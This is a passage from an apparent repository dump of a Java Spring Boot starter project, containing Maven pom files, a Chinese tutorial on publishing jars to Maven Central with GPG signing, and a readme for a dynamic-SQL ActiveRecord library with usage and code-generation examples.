<connection>scm:git:github.com/wujun728/jun-spring-boot-starter/jun-db-activerecord.git</connection>\n        <developerConnection>scm:git:github.com/wujun728/jun-spring-boot-starter/jun-db-activerecord.git</developerConnection>\n    </scm>\n\n    <licenses>\n        <license>\n            <name>The Apache Software License, Version 2.0</name>\n            <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n            <distribution>repo</distribution>\n        </license>\n    </licenses>\n\n    <distributionManagement>\n        <snapshotRepository>\n            <id>oss</id>\n            <url>https://s01.oss.sonatype.org/content/repositories/snapshots</url>\n        </snapshotRepository>\n        <repository>\n            <id>oss</id>\n            <url>https://s01.oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n        </repository>\n    </distributionManagement>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.1</version>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-source-plugin</artifactId>\n                <version>2.2.1</version>\n                <executions>\n                    <execution>\n                        <id>attach-sources</id>\n                        <goals>\n                            <goal>jar-no-fork</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-javadoc-plugin</artifactId>\n                <version>3.2.0</version>\n                <configuration>\n                    <show>package</show>\n                    <tags>\n                        <tag>\n                            <name>date</name>\n                        </tag>\n                    </tags>\n                </configuration>\n                <executions>\n                    <execution>\n                        <id>attach-javadocs</id>\n                        <phase>package</phase>\n                        <goals>\n                            <goal>jar</goal>\n                        </goals>\n                        <configuration>\n                            <doclint>none</doclint>\n                        </configuration>\n                    </execution>\n                </executions>\n            </plugin>\n            <!--<plugin>\n                 <groupId>org.apache.maven.plugins</groupId>\n                 <artifactId>maven-gpg-plugin</artifactId>\n                 <version>1.0</version>\n                 <executions>\n                     <execution>\n                         <id>sign-artifacts</id>\n                         <phase>verify</phase>\n                         <goals>\n                             <goal>sign</goal>\n                         </goals>\n                     </execution>\n                 </executions>\n             </plugin> -->\n\n        </plugins>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_springboot_starter/doc/发布自己的jar包到maven中央仓库.md",
    "content": "# 发布自己的jar包到maven中央仓库\n\n \n\n**简介：** 手把手教你发布自己的jar包到maven中央仓库\n\n## 背景\n\n兄弟们，最近在搞一个Tile38空间数据库的相关的项目，为了在java端更好地使用Tile38空间数据库，我自己干了两周用java语言撸了一个jtile38客户端（ps：主要是目前没有一个完整好用的Tile38客户端），今天正式发布1.0.0版本。\n\n为了能够更好地让这个小工具服务于更多的开发人员，我花了点时间把它上传到maven中央仓库了，大家有需要的可以自取。\n\n下面讲解一下如何把自己的jar包发布到maven中央仓库。\n\n## 注册Sonatype账号\n\n> 注意：这一步只需要做一次，以后发布别的jar包都不需要，除非更换groupId\n\n注册地址：[issues.sonatype.org/secure/Sign…](https://link.juejin.cn/?spm=a2c6h.12873639.article-detail.5.ccb6ba99Yt6LAI&target=https%3A%2F%2Fissues.sonatype.org%2Fsecure%2FSignup!default.jspa)\n\n注册完毕后，需要提交工单由工作人员审核\n\n\n\n![1cb22c9cdb0c4211b74c6a5b7457c089_tplv-k3u1fbpfcp-zoom-in-crop-mark_4536_0_0_0.png](https://ucc.alicdn.com/pic/developer-ecology/dc73hre37f4my_9e544910357f403e85f22ddfefff6a23.png)\n\n![730de71e6cc64500898ca95e08185ba9_tplv-k3u1fbpfcp-zoom-in-crop-mark_4536_0_0_0.png](https://ucc.alicdn.com/pic/developer-ecology/dc73hre37f4my_b4daa886b92249f0afdab61618467a57.png)\n\n按照以上两步完成后，就可以等待工作人员审批了。\n\n> 【注意】项目要提前上传到【Project URL】上面，因为工作人员会去检查。\n\n如果是个人域名或公司域名的项目，那么需要验证你对指定域名的所有权；比如`group id`是`cn.baidu.xxx`，那么在工单的后续回复中会需要你去该域名对应的服务器上添加一条指定的`TXT`解析；\n\n## GPG签名\n\n> 注意：这一步也只要做一次，除非你的GPG签名过期了，或者被你删掉了，要么就是你换电脑了\n\n兄弟们，废话不多说，直接上链接：[www.gnupg.org/download/](https://link.juejin.cn/?spm=a2c6h.12873639.article-detail.6.ccb6ba99Yt6LAI&target=https%3A%2F%2Fwww.gnupg.org%2Fdownload%2F)\n\n咱们先下载一个gpg签名工具，大家根据自己的操作系统来；安装完毕后，直接在控制台输入命令：\n\n```\ngpg --generate-key\n复制代码\n```\n\n后续就根据自己情况输入，最后回车会生成公钥和私钥，我们接下来需要把生成的公钥上传到公共服务器供 sonatype 验证。\n\n可以通过以下命令把公钥发送给公共服务器：\n\n```\ngpg --keyserver pgp.mit.edu --send-keys [公钥]\n复制代码\n```\n\n或\n\n```\ngpg --keyserver keyserver.ubuntu.com --send-keys [公钥]\n复制代码\n```\n\n或\n\n```\ngpg --keyserver keys.openpgp.org --send-keys [公钥]\n复制代码\n```\n\n以上分别为向三个公共服务器发生公钥，只要其中一个成功即可。\n\n## settings.xml配置\n\n接下来，我们需要在`~/.m2/settings.xml`文件中添加以下配置：\n\n```\n<profiles>\n    <profile>\n      <id>oss</id>\n      <properties>\n        <gpg.executable>gpg</gpg.executable>\n        <gpg.passphrase>签名密码</gpg.passphrase>\n      </properties>\n    </profile>\n  </profiles>\n<servers>\n    <server>\n      <id>oss</id>\n      <username>ossrh注册的账号</username>\n      <password>ossrh注册的密码</password>\n    </server>\n</servers>\n复制代码\n```\n\n## pom.xml配置\n\n> 这一步开始，每次发布相同group id的jar包都需要操作一遍。\n\n`settings.xml`文件修改完毕，接下来我们还需要在项目中的`pom.xml`文件中也添加一些配置。\n\n```\n<groupId>com.github.zw201913</groupId>\n    <artifactId>jtile38</artifactId>\n    <version>1.0.0</version>\n    <name>jtile38</name>\n    <description>java client for tile38</description>\n    <url>https://github.com/zw201913/jtile38</url>\n<!--   license信息         -->\n    <licenses>\n        <license>\n            <name>The Apache License, Version 2.0</name>\n            <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n        </license>\n    </licenses>\n<!--   开发人员信息         -->\n    <developers>\n        <developer>\n            <name>姓名</name>\n            <email>邮箱</email>\n            <roles>\n                <role>developer</role>\n            </roles>\n            <timezone>+8</timezone>\n        </developer>\n    </developers>\n<!--   项目仓库信息         -->\n    <scm>\n        <connection>scm:git:https://github.com/zw201913/jtile38.git</connection>\n       <developerConnection>scm:git:https://github.com/zw201913/jtile38.git</developerConnection>\n        <url>https://github.com/zw201913/jtile38</url>\n        <tag>v${project.version}</tag>\n    </scm>\n<!--   指定打包上传的目标url         -->\n    <distributionManagement>\n        <snapshotRepository>\n            <!--   这个id需要和settings.xml里面的id一致         -->\n            <id>oss</id>\n            <url>https://oss.sonatype.org/content/repositories/snapshots/</url>\n        </snapshotRepository>\n        <repository>\n          <!--   这个id需要和settings.xml里面的id一致         -->\n            <id>oss</id>\n            <url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n        </repository>\n    </distributionManagement>\n<!-- 编译工具 -->\n    <build>\n        <plugins>\n            <!-- Source -->\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-source-plugin</artifactId>\n                <version>2.2.1</version>\n                <executions>\n                    <execution>\n                        <phase>package</phase>\n                        <goals>\n                            <goal>jar-no-fork</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <!-- Javadoc工具 -->\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-javadoc-plugin</artifactId>\n                <version>2.10.4</version>\n                <configuration>\n                    <additionalJOptions>\n                        <additionalJOption>-Xdoclint:none</additionalJOption>\n                    </additionalJOptions>\n                </configuration>\n                <executions>\n                    <execution>\n                        <phase>package</phase>\n                        <goals>\n                            <goal>jar</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <!-- GPG -->\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-gpg-plugin</artifactId>\n                <version>1.6</version>\n                <configuration>\n                    <gpgArguments>\n                        <arg>--pinentry-mode</arg>\n                        <arg>loopback</arg>\n                    </gpgArguments>\n                </configuration>\n                <executions>\n                    <execution>\n                        <id>sign-artifacts</id>\n                        <phase>verify</phase>\n                        <goals>\n                            <goal>sign</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n        </plugins>\n    </build>\n复制代码\n```\n\n## 打包发布\n\n> 注意：每次发布相同group id的jar包都需要操作的步骤。\n\n在所有的配置都编写完毕后，我们需要在项目路径下开启终端执行以下命令：\n\n```\nmvn clean deploy\n复制代码\n```\n\n该命令执行成功后，我们的jar包就上传到`Staging Repositories`([oss.sonatype.org/#](https://link.juejin.cn/?target=https%3A%2F%2Foss.sonatype.org%2F%23))；如果该命令执行失败，想要查看是什么原因导致失败的，可以使用`mvn clean deploy +X`查看打包发布的详细过程，并显示报错信息；\n\n命令执行完毕后，我们需要登陆[oss.sonatype.org/](https://link.juejin.cn/?spm=a2c6h.12873639.article-detail.8.ccb6ba99Yt6LAI&target=https%3A%2F%2Foss.sonatype.org%2F) 上面查看我们上传到`Staging Repositories`中的jar包：\n\n\n\n![cd47b802919744bba3a79986db530221_tplv-k3u1fbpfcp-zoom-in-crop-mark_4536_0_0_0.png](https://ucc.alicdn.com/pic/developer-ecology/dc73hre37f4my_ca3ba53294d04491936b96875a537d0c.png)\n\n- Close目标jar包\n\n![f63b55be9dce4cc2a15842485f448113_tplv-k3u1fbpfcp-zoom-in-crop-mark_4536_0_0_0.png](https://ucc.alicdn.com/pic/developer-ecology/dc73hre37f4my_aefb8fa376ad4400b687990a5e65fb04.png)\n\n点击Close需要填写描述信息，这个自己根据情况写\n\n- 查看进度\n\n咱们刚刚的Close操作，会触发一个工作流来校验上传的jar包，咱们也可以看看校验的进度，时间一般就一两分钟：\n\n\n\n![54d4a75b02174cc08bd4afb328280267_tplv-k3u1fbpfcp-zoom-in-crop-mark_4536_0_0_0.png](https://ucc.alicdn.com/pic/developer-ecology/dc73hre37f4my_871bbb0a2ec6489f9072639ad183f84c.png)\n\n- 正式发布jar包\n\n![12c55436b1094135a89188ada834d6e6_tplv-k3u1fbpfcp-zoom-in-crop-mark_4536_0_0_0.png](https://ucc.alicdn.com/pic/developer-ecology/dc73hre37f4my_a8c185a2f14c40209ad063bbda883b20.png)\n\n至此，打包发布的全部流程就完毕了。想要在[maven中央仓库](https://link.juejin.cn/?target=https%3A%2F%2Fmvnrepository.com%2F)中搜索到刚刚发布的jar包还需要30分钟到4个小时不等。"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-activerecord</artifactId>\n    <version>1.0.25</version>\n    <name>jun-activerecord</name>\n    <description>dynamic sql engine tool</description>\n    <url>https://github.com/wujun728/jun-spring-boot-starter/jun-activerecord</url>\n    \n    \n   \t<properties>\n\t\t<java.version>1.8</java.version>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <maven.compiler.source>1.8</maven.compiler.source>\n        <maven.compiler.target>1.8</maven.compiler.target>\n        <jun.version>1.0.25</jun.version>\n        <spring-boot.version>2.5.14</spring-boot.version>\n        <spring-cloud.version>2020.0.6</spring-cloud.version>\n        <lombok.version>1.18.30</lombok.version>\n        <hutool.version>5.8.25</hutool.version>\n        <jackson.version>2.13.4</jackson.version>\n        <druid.version>1.2.24</druid.version>\n        <commons-lang3.version>3.13.0</commons-lang3.version>\n        <jfinal.version>5.1.2</jfinal.version>\n        <ehcache.version>2.10.9.2</ehcache.version>\n        <mysql-connector.version>8.0.33</mysql-connector.version>\n        <slf4j.version>1.7.25</slf4j.version>\n        <logback.version>1.2.3</logback.version>\n        <javax.annotation-api.version>1.3.2</javax.annotation-api.version>\n        <mica-auto.version>2.3.2</mica-auto.version>\n\t</properties>\n\n    <dependencyManagement>\n        <dependencies>\n            <dependency>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-dependencies</artifactId>\n                <version>${spring-boot.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework.cloud</groupId>\n                <artifactId>spring-cloud-dependencies</artifactId>\n                <version>${spring-cloud.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n\n    <dependencies>\n        <dependency>\n            <groupId>dom4j</groupId>\n            <artifactId>dom4j</artifactId>\n            <version>1.6.1</version>\n        </dependency>\n        <dependency>\n            <groupId>ognl</groupId>\n            <artifactId>ognl</artifactId>\n            <version>2.7.3</version>\n        </dependency>\n        <dependency>\n            <groupId>com.jfinal</groupId>\n            <artifactId>enjoy</artifactId>\n            <version>5.1.2</version>\n        </dependency>\n        <!--<dependency>\n            <groupId>com.alibaba.fastjson2</groupId>\n            <artifactId>fastjson2</artifactId>\n            <version>2.0.37</version>\n        </dependency>-->\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>1.18.30</version>\n        </dependency>\n        <dependency>\n            <groupId>javax.annotation</groupId>\n            <artifactId>javax.annotation-api</artifactId>\n            <version>1.3.2</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/org.slf4j/slf4j-api -->\n        <dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>slf4j-api</artifactId>\n            <version>1.7.25</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/ch.qos.logback/logback-classic -->\n        <dependency>\n            <groupId>ch.qos.logback</groupId>\n            <artifactId>logback-classic</artifactId>\n            <version>1.2.3</version>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid</artifactId>\n            <version>1.2.24</version>\n        </dependency>\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n            <version>5.8.25</version>\n        </dependency>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-lang3</artifactId>\n            <version>3.13.0</version>\n            <scope>compile</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.jfinal</groupId>\n            <artifactId>activerecord</artifactId>\n            <version>5.1.2</version>\n        </dependency>\n        <dependency>\n            <groupId>com.jfinal</groupId>\n            <artifactId>enjoy</artifactId>\n            <version>5.1.2</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/com.mysql/mysql-connector-j -->\n        <dependency>\n            <groupId>com.mysql</groupId>\n            <artifactId>mysql-connector-j</artifactId>\n            <version>8.0.33</version>\n            <scope>runtime</scope>\n        </dependency>\n        <dependency>\n            <groupId>net.sf.ehcache</groupId>\n            <artifactId>ehcache</artifactId>\n            <version>2.10.9.2</version>\n            <scope>compile</scope>\n        </dependency>\n        <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>javax.servlet-api</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.aspectj</groupId>\n            <artifactId>aspectjweaver</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-databind</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>net.dreamlu</groupId>\n            <artifactId>mica-auto</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-autoconfigure</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.cloud</groupId>\n            <artifactId>spring-cloud-context</artifactId>\n        </dependency>\n    </dependencies>\n\n    <developers>\n        <developer>\n            <name>wujun728</name>\n            <email>wujun728@163.com</email>\n            <url>https://github.com/wujun728/jun-spring-boot-starter/jun-activerecord</url>\n        </developer>\n    </developers>\n\n    <scm>\n        <url>https://github.com/wujun728/jun-spring-boot-starter/jun-activerecord.git</url>\n        <connection>scm:git:github.com/wujun728/jun-spring-boot-starter/jun-activerecord.git</connection>\n        <developerConnection>scm:git:github.com/wujun728/jun-spring-boot-starter/jun-activerecord.git</developerConnection>\n    </scm>\n\n    <licenses>\n        <license>\n            <name>The Apache Software License, Version 2.0</name>\n            <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n            <distribution>repo</distribution>\n        </license>\n    </licenses>\n\n    <distributionManagement>\n        <snapshotRepository>\n            <id>oss</id>\n            <url>https://s01.oss.sonatype.org/content/repositories/snapshots</url>\n        </snapshotRepository>\n        <repository>\n            <id>oss</id>\n            <url>https://s01.oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n        </repository>\n    </distributionManagement>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.1</version>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-source-plugin</artifactId>\n                <version>2.2.1</version>\n                <executions>\n                    <execution>\n                        <id>attach-sources</id>\n                        <goals>\n                            <goal>jar-no-fork</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-javadoc-plugin</artifactId>\n                <version>3.2.0</version>\n                <configuration>\n                    <show>package</show>\n                    <tags>\n                        <tag>\n                            <name>date</name>\n                        </tag>\n                    </tags>\n                </configuration>\n                <executions>\n                    <execution>\n                        <id>attach-javadocs</id>\n                        <phase>package</phase>\n                        <goals>\n                            <goal>jar</goal>\n                        </goals>\n                        <configuration>\n                            <doclint>none</doclint>\n                        </configuration>\n                    </execution>\n                </executions>\n            </plugin>\n            <!--<plugin>\n                 <groupId>org.apache.maven.plugins</groupId>\n                 <artifactId>maven-gpg-plugin</artifactId>\n                 <version>1.0</version>\n                 <executions>\n                     <execution>\n                         <id>sign-artifacts</id>\n                         <phase>verify</phase>\n                         <goals>\n                             <goal>sign</goal>\n                         </goals>\n                     </execution>\n                 </executions>\n             </plugin> -->\n\n        </plugins>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/pom2.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n        <artifactId>jun_springcloud_starter</artifactId>\n        <version>1.0.25</version>\n    </parent>\n    <artifactId>jun-db-activerecord</artifactId>\n    <name>jun-db-activerecord</name>\n    <description>jun-db-activerecord tool 动态Record数据层开发工具</description>\n    <url>https://github.com/wujun728/jun-spring-boot-starter/jun-db-record</url>\n\n\n    <dependencies>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>4.13.2</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>javax.servlet-api</artifactId>\n            <version>3.1.0</version>\n            <scope>provided</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-webmvc</artifactId>\n            <version>5.3.18</version>\n            <scope>provided</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid</artifactId>\n            <version>1.2.4</version>\n            <scope>provided</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>net.sf.ehcache</groupId>\n            <artifactId>ehcache-core</artifactId>\n            <version>2.6.11</version>\n            <scope>provided</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>com.zaxxer</groupId>\n            <artifactId>HikariCP</artifactId>\n            <version>4.0.3</version><!-- 5.0.0 版本不支持 JDK 8 -->\n            <scope>provided</scope>\n        </dependency>\n\n        <!-- 仅用于 ActiveRecordDemo 演示代码\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <version>5.1.49</version>\n            <scope>provided</scope>\n        </dependency>\n        -->\n\n        <!-- fastjson json 转换 -->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>fastjson</artifactId>\n            <version>1.2.80</version>\n            <scope>provided</scope>\n        </dependency>\n\n        <!-- jackson json 转换 -->\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-databind</artifactId>\n            <version>2.11.0</version>\n            <scope>provided</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>io.github.wujun728</groupId>\n            <artifactId>jun-common-base</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>com.google.guava</groupId>\n            <artifactId>guava</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-annotation</artifactId>\n            <version>3.5.7</version>\n        </dependency>\n\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.1</version>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n\n</project>"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/readme.md",
    "content": "# 概述\n\n- jun-db-activerecord是一个集ActiveRecord及动态sql解析的数据层操作插件，抽取了mybatis源码SQL解析模块及jfinal的db+record模块，\n- 1.1、相当于mybatis中的动态sql解析功能的抽取，主要是各种标签的XML解析，用法跟Mybatis的XML的SQL写法是一样的\n- 1.2、类似mybatis的功能，解析带标签的动态sql，生成`?`占位符的sql和`?`对应的参数列表。\n- 1.3、集成了ActiveRecord模型，完美解决弱类型的数据层组件，。\n- 支持 `<if>` `<foreach>` `<where>` `<set>` `<trim>`\n\n# 使用教程\n\n- 在自己的maven项目中引入maven坐标\n```xml\n<dependency>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-db-activerecord</artifactId>\n    <version>${jun.version}</version>\n</dependency>\n```\n\n\n\n- 核心api -- Db + Record模式\n```\n\n1､常见用法\nDb类及其配套的Record类，提供了在Model类之外更为丰富的数据库操作功能。使用Db与Record类时，无需对数据库表进行映射，Record相当于一个通用的Model。以下为Db + Record模式的一些常见用法：\n\n// 创建name属性为James,age属性为25的record对象并添加到数据库\nRecord user = new Record().set(\"name\", \"James\").set(\"age\", 25);\nDb.save(\"user\", user);\n \n// 删除id值为25的user表中的记录\nDb.deleteById(\"user\", 25);\n \n// 查询id值为25的Record将其name属性改为James并更新到数据库\nuser = Db.findById(\"user\", 25).set(\"name\", \"James\");\nDb.update(\"user\", user);\n \n// 获取user的name属性\nString userName = user.getStr(\"name\");\n// 获取user的age属性\nInteger userAge = user.getInt(\"age\");\n \n// 查询所有年龄大于18岁的user\nList<Record> users = Db.find(\"select * from user where age > 18\");\n \n// 分页查询年龄大于18的user,当前页号为1,每页10个user\nPage<Record> userPage = Db.paginate(1, 10, \"select *\", \"from user where age > ?\", 18);\n```\n\n\n\n\n\n- 核心api -- SQL动态参数模式\n```\nDynamicSqlEngine engine = new DynamicSqlEngine();\nSqlMeta sqlMeta = engine.parse(sql, map);\nObject data = SqlEngine.executeSql(connection, apiSql.getSqlText(), sqlParam);\n```\n- 示例\n```\n@Test\npublic void testForeachIF() {\n\tDynamicSqlEngine engine = new DynamicSqlEngine();\n\tString sql = (\"select * from user where name in <foreach collection='list' index='idx' open='(' separator=',' close=')'>#{item.name}== #{idx}<if test='id!=null'>  and id = #{id}</if></foreach>\");\n\tMap<String, Object> map = new HashMap<>();\n\n\tArrayList<model.User> arrayList = new ArrayList<>();\n\tarrayList.add(new model.User(10, \"zhangsan\"));\n\tarrayList.add(new model.User(11, \"lisi\"));\n\tmap.put(\"list\", arrayList.toArray());\n\tmap.put(\"id\", 100);\n\n\tSqlMeta sqlMeta = engine.parse(sql, map);\n\tSqlEngine.executeSql(connection, sql, map);\n\tSystem.out.println(sqlMeta.getSql());\n\tsqlMeta.getJdbcParamValues().forEach(System.out::println);\n}\n\n```\n\n- 示例执行结果：\n```\nselect * from user where name in  ( ? , ? ) \nzhangsan\nlisi\n```\n\n\n\n# mica-activerecord 模块\n\n## 功能\n- `@TableName` 注解 Model 自动 Mapping 映射。\n- 基于 Druid 的可执行 Sql 打印。\n- 基于 Druid 的 `DruidSqlDialect`，分页 sql 优化，支持多种数据库。\n- Record 的 `jackson` 处理。\n- `@Tx` 注解的 JFinal ActiveRecord 事务。\n- 可自定义 `ActiveRecordPluginCustomizer` Bean，实现自定义扩展。\n- `CodeGenerator` 代码生成 `markdown` 格式数据字典。\n- `ModelUtil` 实现 Model、Record -> Bean 转换。\n\n## 文档\njfinal ActiveRecord 文档：https://jfinal.com/doc/5-1\n\n## 添加依赖\n### maven\n```xml\n<dependency>\n  <groupId>net.dreamlu</groupId>\n  <artifactId>mica-activerecord</artifactId>\n  <version>${version}</version>\n</dependency>\n```\n\n## 配置\n### ActiveRecord\n| 配置项 | 默认值 | 说明 |\n| ----- | ------ | ------ |\n| mica.activerecord.dialect | mysql | 方言，默认：mysql，注意：设置为 Druid 时采用 Ansi + druid 分页优化，支持多种数据库 |\n| mica.activerecord.auto-table-scan | true | 自定表扫描 |\n| mica.activerecord.model-package |  | 模型的包路径 |\n| mica.activerecord.base-template-path |  | sql 模板前缀 |\n| mica.activerecord.sql-templates |  | sql 模板，支持多个 |\n| mica.activerecord.transaction-level |  | 事务级别，默认：不可重复读 |\n\n### Spring database（优先）\n| 配置项 | 默认值 | 说明 |\n| ----- | ------ | ------ |\n| spring.datasource.url |  | 数据库地址 |\n| spring.datasource.username |  | 数据库用户名 |\n| spring.datasource.password |  | 数据库密码 |\n\n### Druid\n| 配置项 | 默认值 | 说明                     |\n| ----- |----|------------------------|\n| mica.druid.url |    | 数据库地址                  |\n| mica.druid.username |    | 数据库用户名                 |\n| mica.druid.password |    | 数据库密码                  |\n| mica.druid.show-sql | true | 打印可执行 sql，默认为 true     |\n| mica.druid.show-sql-patterns | [] | 打印 sql 的正则，list 列表，例如：`.*t_user.*` |\n| mica.druid.connection-init-sql |    |                        |\n| mica.druid.connection-properties |    |                        |\n| mica.druid.default-transaction-isolation |    |                        |\n| mica.druid.driver-class |    |                        |\n| mica.druid.filters |    |                        |\n| mica.druid.initial-size | 1  |                        |\n| mica.druid.keep-alive |    |                        |\n| mica.druid.log-abandoned | false |                        |\n| mica.druid.max-active | 32 |                        |\n| mica.druid.max-pool-prepared-statement-per-connection-size | -1 |                        |\n| mica.druid.max-wait | -1 |                        |\n| mica.druid.min-evictable-idle-time-millis | 1800000 |                        |\n| mica.druid.min-idle | 10 |                        |\n| mica.druid.public-key |    |                        |\n| mica.druid.remove-abandoned | false |                        |\n| mica.druid.remove-abandoned-timeout-millis | 300000 |                        |\n| mica.druid.test-on-borrow | false |                        |\n| mica.druid.test-on-return | false |                        |\n| mica.druid.test-while-idle | true |                        |\n| mica.druid.time-between-connect-error-millis | 30000 |                        |\n| mica.druid.time-between-eviction-runs-millis | 60000 |                        |\n| mica.druid.time-between-log-stats-millis |    |                        |\n| mica.druid.validation-query | select 1 |                        |\n| mica.druid.validation-query-timeout |    |                        |\n\n## 代码生成\n```java\n/**\n * 在数据库表有任何变动时，运行一下 main 方法，极速响应变化进行代码重构\n */\npublic class CodeGeneratorTest {\n\n\tpublic static void main(String[] args) {\n\t\tCodeGenerator generator = CodeGenerator.create()\n\t\t\t.url(\"jdbc:mysql://127.0.0.1:3306/blog\")\n\t\t\t.username(\"root\")\n\t\t\t.password(\"12345678\")\n\t\t\t.basePackageName(\"net.dreamlu.demo\")\n\t\t\t.outputDir(PathKit.getWebRootPath())\n\t\t\t.openDir() // 完成后打开目录窗口\n\t\t\t.build();\n\t\t// 为生成器添加类型映射，将数据库反射得到的类型映射到指定类型\n//\t\tgenerator.addTypeMapping(Date.class, LocalDateTime.class);\n\t\t// 设置数据库方言\n\t\tgenerator.setDialect(new MysqlDialect());\n\t\t// 设置是否生成链式 setter 方法\n\t\tgenerator.setGenerateChainSetter(false);\n\t\t// 添加不需要生成的表名\n\t\tgenerator.addExcludedTable(\"adv\");\n\t\t// 设置是否在 Model 中生成 dao 对象\n\t\tgenerator.setGenerateDaoInModel(true);\n\t\t// 设置需要被移除的表名前缀用于生成modelName。例如表名 \"osc_user\"，移除前缀 \"osc_\"后生成的model名为 \"model.User\"而非 OscUser\n\t\tgenerator.setRemovedTableNamePrefixes(\"t_\");\n\t\t// 生成\n\t\tgenerator.generate();\n\t}\n\n}\n```\n\n## 示例：自定义 jFinal ActiveRecord Plugin 配置\n```java\n@AutoConfiguration\npublic class MicaArpCustomConfiguration {\n\n\t@Bean\n\tpublic ActiveRecordPluginCustomizer activeRecordPluginCustomizer() {\n\t\treturn new ActiveRecordPluginCustomizer() 